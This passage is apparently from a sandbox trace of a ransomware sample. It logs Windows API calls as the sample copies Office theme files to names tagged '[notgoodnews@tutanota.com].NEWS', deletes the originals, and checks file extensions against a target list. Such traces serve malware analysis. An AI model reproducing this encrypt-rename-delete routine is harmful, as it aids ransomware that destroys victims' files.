nNumberOfBytesToWrite=0x53100, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4191020*, lpNumberOfBytesWritten=0x35dfc94*=0x53100, lpOverlapped=0x0) returned 1 [0172.680] ReadFile (in: hFile=0x4f0, lpBuffer=0x4191020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4191020*, lpNumberOfBytesRead=0x35dfecc*=0x0, lpOverlapped=0x0) returned 1 [0172.680] WriteFile (in: hFile=0x4dc, lpBuffer=0x4191020*, nNumberOfBytesToWrite=0xfa, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4191020*, lpNumberOfBytesWritten=0x35dfc94*=0xfa, lpOverlapped=0x0) returned 1 [0172.680] SetEndOfFile (hFile=0x4dc) returned 1 [0172.681] CloseHandle (hObject=0x4dc) returned 1 [0172.681] SetFilePointerEx (in: hFile=0x4f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0172.681] SetEndOfFile (hFile=0x4f0) returned 1 [0172.691] CloseHandle (hObject=0x4f0) returned 1 [0172.691] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Extreme Shadow.eftx.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0172.692] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Extreme Shadow.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\extreme shadow.eftx")) returned 1 [0173.038] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Extreme Shadow.eftx") returned 91 [0173.038] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Extreme Shadow.eftx") returned 91 [0173.038] lstrlenW (lpString=".doc") returned 4 [0173.038] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0173.038] lstrlenW (lpString=".docx") returned 5 [0173.038] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0173.038] lstrlenW (lpString=".pdf") returned 4 [0173.038] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0173.038] lstrlenW (lpString=".xls") returned 4 [0173.038] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0173.038] lstrlenW (lpString=".xlsx") returned 5 [0173.038] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0173.038] lstrlenW (lpString=".ppt") returned 4 [0173.038] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0173.038] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Extreme Shadow.eftx") returned 91 [0173.038] lstrlenW (lpString=".zip") returned 4 [0173.038] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0173.038] lstrlenW (lpString=".rar") returned 4 [0173.038] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0173.038] lstrlenW (lpString=".bz2") returned 4 [0173.038] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0173.038] lstrlenW (lpString=".7z") returned 3 [0173.038] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0173.038] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Extreme Shadow.eftx") returned 91 [0173.038] lstrlenW (lpString=".dbf") returned 4 [0173.038] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0173.039] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Extreme Shadow.eftx") returned 91 [0173.039] lstrlenW (lpString=".1cd") returned 4 [0173.039] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0173.039] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Extreme Shadow.eftx") returned 91 [0173.039] lstrlenW (lpString=".jpg") returned 4 [0173.039] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0173.039] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Extreme Shadow.eftx") returned 91 [0173.039] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Extreme Shadow.eftx") returned 91 [0173.039] lstrlenW (lpString=".doc") returned 4 [0173.039] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0173.039] lstrlenW (lpString=".docx") returned 5 [0173.039] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0173.039] lstrlenW (lpString=".pdf") returned 4 [0173.039] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0173.039] lstrlenW (lpString=".xls") returned 4 [0173.039] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0173.039] lstrlenW (lpString=".xlsx") returned 5 [0173.039] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0173.039] lstrlenW (lpString=".ppt") returned 4 [0173.039] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0173.039] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Extreme Shadow.eftx") returned 91 [0173.039] lstrlenW (lpString=".zip") returned 4 [0173.039] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0173.039] lstrlenW (lpString=".rar") returned 4 [0173.039] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0173.039] lstrlenW (lpString=".bz2") returned 4 [0173.039] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0173.040] lstrlenW (lpString=".7z") returned 3 [0173.040] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0173.040] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Extreme Shadow.eftx") returned 91 [0173.040] lstrlenW (lpString=".dbf") returned 4 [0173.040] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0173.040] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Extreme Shadow.eftx") returned 91 [0173.040] lstrlenW (lpString=".1cd") returned 4 [0173.040] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0173.040] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Extreme Shadow.eftx") returned 91 [0173.040] lstrlenW (lpString=".jpg") returned 4 [0173.040] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0173.040] lstrcmpiW (lpString1=".eftx", lpString2=".NEWS") returned -1 [0173.040] lstrlenW (lpString="Office 2007 - 2010.eftx") returned 23 [0173.040] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Office 2007 - 2010.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\office 2007 - 2010.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0173.042] GetFileSizeEx (in: hFile=0x54c, lpFileSize=0x35dff14 | out: lpFileSize=0x35dff14*=45229) returned 1 [0173.042] CloseHandle (hObject=0x54c) returned 1 [0173.042] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Office 2007 - 2010.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\office 2007 - 2010.eftx")) returned 0x220 [0173.042] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Office 2007 - 2010.eftx.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\office 2007 - 2010.eftx.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0173.043] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Office 2007 - 2010.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\office 2007 - 2010.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0173.043] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0173.043] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0173.043] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Office 2007 - 2010.eftx.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\office 2007 - 2010.eftx.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0173.044] GetLastError () returned 0x0 [0173.044] ReadFile (in: hFile=0x54c, lpBuffer=0x4191020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4191020*, lpNumberOfBytesRead=0x35dfecc*=0xb0ad, lpOverlapped=0x0) returned 1 [0173.049] WriteFile (in: hFile=0x554, lpBuffer=0x4191020*, nNumberOfBytesToWrite=0xb0b0, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4191020*, lpNumberOfBytesWritten=0x35dfc94*=0xb0b0, lpOverlapped=0x0) returned 1 [0173.051] ReadFile (in: hFile=0x54c, lpBuffer=0x4191020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4191020*, lpNumberOfBytesRead=0x35dfecc*=0x0, lpOverlapped=0x0) returned 1 [0173.051] WriteFile (in: hFile=0x554, lpBuffer=0x4191020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4191020*, lpNumberOfBytesWritten=0x35dfc94*=0x102, lpOverlapped=0x0) returned 1 [0173.051] SetEndOfFile (hFile=0x554) returned 1 [0173.052] CloseHandle (hObject=0x554) returned 1 [0173.052] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0173.052] SetEndOfFile (hFile=0x54c) returned 1 [0173.056] CloseHandle (hObject=0x54c) returned 1 [0173.056] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Office 2007 - 2010.eftx.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0173.056] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Office 2007 - 2010.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\office 2007 - 2010.eftx")) returned 1 [0173.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Office 2007 - 2010.eftx") returned 95 [0173.058] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Office 2007 - 2010.eftx") returned 95 [0173.058] lstrlenW (lpString=".doc") returned 4 [0173.058] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0173.058] lstrlenW (lpString=".docx") returned 5 [0173.058] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0173.058] lstrlenW (lpString=".pdf") returned 4 [0173.058] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0173.058] lstrlenW (lpString=".xls") returned 4 [0173.058] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0173.058] lstrlenW (lpString=".xlsx") returned 5 [0173.058] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0173.058] lstrlenW (lpString=".ppt") returned 4 [0173.058] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0173.058] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Office 2007 - 2010.eftx") returned 95 [0173.058] lstrlenW (lpString=".zip") returned 4 [0173.058] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0173.058] lstrlenW (lpString=".rar") returned 4 [0173.058] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0173.058] lstrlenW (lpString=".bz2") returned 4 [0173.058] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0173.058] lstrlenW (lpString=".7z") returned 3 [0173.058] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0173.058] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Office 2007 - 2010.eftx") returned 95 [0173.058] lstrlenW (lpString=".dbf") returned 4 [0173.058] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0173.058] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Office 2007 - 2010.eftx") returned 95 [0173.058] lstrlenW (lpString=".1cd") returned 4 [0173.058] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0173.059] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Office 2007 - 2010.eftx") returned 95 [0173.059] lstrlenW (lpString=".jpg") returned 4 [0173.059] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0173.059] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Office 2007 - 2010.eftx") returned 95 [0173.059] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Office 2007 - 2010.eftx") returned 95 [0173.059] lstrlenW (lpString=".doc") returned 4 [0173.059] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0173.059] lstrlenW (lpString=".docx") returned 5 [0173.059] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0173.059] lstrlenW (lpString=".pdf") returned 4 [0173.059] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0173.059] lstrlenW (lpString=".xls") returned 4 [0173.059] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0173.059] lstrlenW (lpString=".xlsx") returned 5 [0173.059] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0173.059] lstrlenW (lpString=".ppt") returned 4 [0173.059] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0173.059] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Office 2007 - 2010.eftx") returned 95 [0173.059] lstrlenW (lpString=".zip") returned 4 [0173.059] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0173.059] lstrlenW (lpString=".rar") returned 4 [0173.059] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0173.059] lstrlenW (lpString=".bz2") returned 4 [0173.059] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0173.059] lstrlenW (lpString=".7z") returned 3 [0173.059] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0173.059] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Office 2007 - 2010.eftx") returned 95 [0173.060] lstrlenW (lpString=".dbf") returned 4 [0173.060] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0173.060] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Office 2007 - 2010.eftx") returned 95 [0173.060] lstrlenW (lpString=".1cd") returned 4 [0173.060] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0173.060] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Office 2007 - 2010.eftx") returned 95 [0173.060] lstrlenW (lpString=".jpg") returned 4 [0173.060] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0173.060] lstrcmpiW (lpString1=".eftx", lpString2=".NEWS") returned -1 [0173.060] lstrlenW (lpString="Reflection.eftx") returned 15 [0173.060] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Reflection.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\reflection.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0173.063] GetFileSizeEx (in: hFile=0x54c, lpFileSize=0x35dff14 | out: lpFileSize=0x35dff14*=48366) returned 1 [0173.063] CloseHandle (hObject=0x54c) returned 1 [0173.063] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Reflection.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\reflection.eftx")) returned 0x220 [0173.063] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Reflection.eftx.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\reflection.eftx.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0173.063] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Reflection.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\reflection.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0173.064] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0173.064] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0173.064] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Reflection.eftx.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\reflection.eftx.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0173.065] GetLastError () returned 0x0 [0173.065] ReadFile (in: hFile=0x54c, lpBuffer=0x4191020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4191020*, lpNumberOfBytesRead=0x35dfecc*=0xbcee, lpOverlapped=0x0) returned 1 [0173.087] WriteFile (in: hFile=0x554, lpBuffer=0x4191020*, nNumberOfBytesToWrite=0xbcf0, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4191020*, lpNumberOfBytesWritten=0x35dfc94*=0xbcf0, lpOverlapped=0x0) returned 1 [0173.090] ReadFile (in: hFile=0x54c, lpBuffer=0x4191020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4191020*, lpNumberOfBytesRead=0x35dfecc*=0x0, lpOverlapped=0x0) returned 1 [0173.090] WriteFile (in: hFile=0x554, lpBuffer=0x4191020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x35dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4191020*, lpNumberOfBytesWritten=0x35dfc94*=0xf2, lpOverlapped=0x0) returned 1 [0173.090] SetEndOfFile (hFile=0x554) returned 1 [0173.090] CloseHandle (hObject=0x554) returned 1 [0173.090] SetFilePointerEx (in: hFile=0x54c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0173.090] SetEndOfFile (hFile=0x54c) returned 1 [0173.095] CloseHandle (hObject=0x54c) returned 1 [0173.095] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Reflection.eftx.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0173.095] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Reflection.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\reflection.eftx")) returned 1 [0173.096] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Reflection.eftx") returned 87 [0173.096] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Reflection.eftx") returned 87 [0173.096] lstrlenW (lpString=".doc") returned 4 [0173.096] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0173.096] lstrlenW (lpString=".docx") returned 5 [0173.096] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0173.097] lstrlenW (lpString=".pdf") returned 4 [0173.097] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0173.097] lstrlenW (lpString=".xls") returned 4 [0173.097] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0173.097] lstrlenW (lpString=".xlsx") returned 5 [0173.097] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0173.097] lstrlenW (lpString=".ppt") returned 4 [0173.097] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0173.097] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Reflection.eftx") returned 87 [0173.097] lstrlenW (lpString=".zip") returned 4 [0173.097] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0173.097] lstrlenW (lpString=".rar") returned 4 [0173.097] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0173.097] lstrlenW (lpString=".bz2") returned 4 [0173.097] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0173.097] lstrlenW (lpString=".7z") returned 3 [0173.097] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0173.097] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Reflection.eftx") returned 87 [0173.097] lstrlenW (lpString=".dbf") returned 4 [0173.097] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0173.097] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Reflection.eftx") returned 87 [0173.097] lstrlenW (lpString=".1cd") returned 4 [0173.097] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0173.097] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Reflection.eftx") returned 87 [0173.097] lstrlenW (lpString=".jpg") returned 4 [0173.097] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0173.098] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Reflection.eftx") returned 87 [0173.098] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Reflection.eftx") returned 87 [0173.098] lstrlenW (lpString=".doc") returned 4 [0173.319] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0173.319] lstrlenW (lpString=".docx") returned 5 [0173.320] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0173.320] lstrlenW (lpString=".pdf") returned 4 [0173.320] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0173.320] lstrlenW (lpString=".xls") returned 4 [0173.320] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0173.320] lstrlenW (lpString=".xlsx") returned 5 [0173.320] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0173.320] lstrlenW (lpString=".ppt") returned 4 [0173.320] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0173.320] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Reflection.eftx") returned 87 [0173.320] lstrlenW (lpString=".zip") returned 4 [0173.320] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0173.320] lstrlenW (lpString=".rar") returned 4 [0173.320] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0173.320] lstrlenW (lpString=".bz2") returned 4 [0173.320] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0173.320] lstrlenW (lpString=".7z") returned 3 [0173.320] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0173.320] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Reflection.eftx") returned 87 [0173.320] lstrlenW (lpString=".dbf") returned 4 [0173.320] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0173.320] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Reflection.eftx") returned 87 [0173.320] lstrlenW (lpString=".1cd") returned 4 [0173.320] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0173.320] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Reflection.eftx") returned 87 [0173.320] lstrlenW (lpString=".jpg") returned 4 [0173.320] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0173.320] lstrcmpiW (lpString1=".eftx", lpString2=".NEWS") returned -1 [0173.320] lstrlenW (lpString="Smokey Glass.eftx") returned 17 [0173.320] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Smokey Glass.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\smokey glass.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0173.471] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x35dff14 | out: lpFileSize=0x35dff14*=186195) returned 1 [0173.472] CloseHandle (hObject=0x36c) returned 1 [0173.472] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Smokey Glass.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\smokey glass.eftx")) returned 0x220 [0173.751] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Smokey Glass.eftx.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\smokey glass.eftx.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0173.854] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Smokey Glass.eftx" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\smokey glass.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x474 [0173.854] SetFilePointerEx (in: hFile=0x474, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0173.854] SetFilePointerEx (in: hFile=0x474, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35dfec0 | out: lpNewFilePointer=0x0) returned 1 [0173.854] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Smokey Glass.eftx.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\smokey glass.eftx.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0173.855] GetLastError () returned 0x0 [0173.855] ReadFile (in: hFile=0x474, lpBuffer=0x4191020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4191020*, lpNumberOfBytesRead=0x35dfecc*=0x2d753, lpOverlapped=0x0) returned 1 [0173.863] WriteFile (in: hFile=0x544, lpBuffer=0x4191020*, 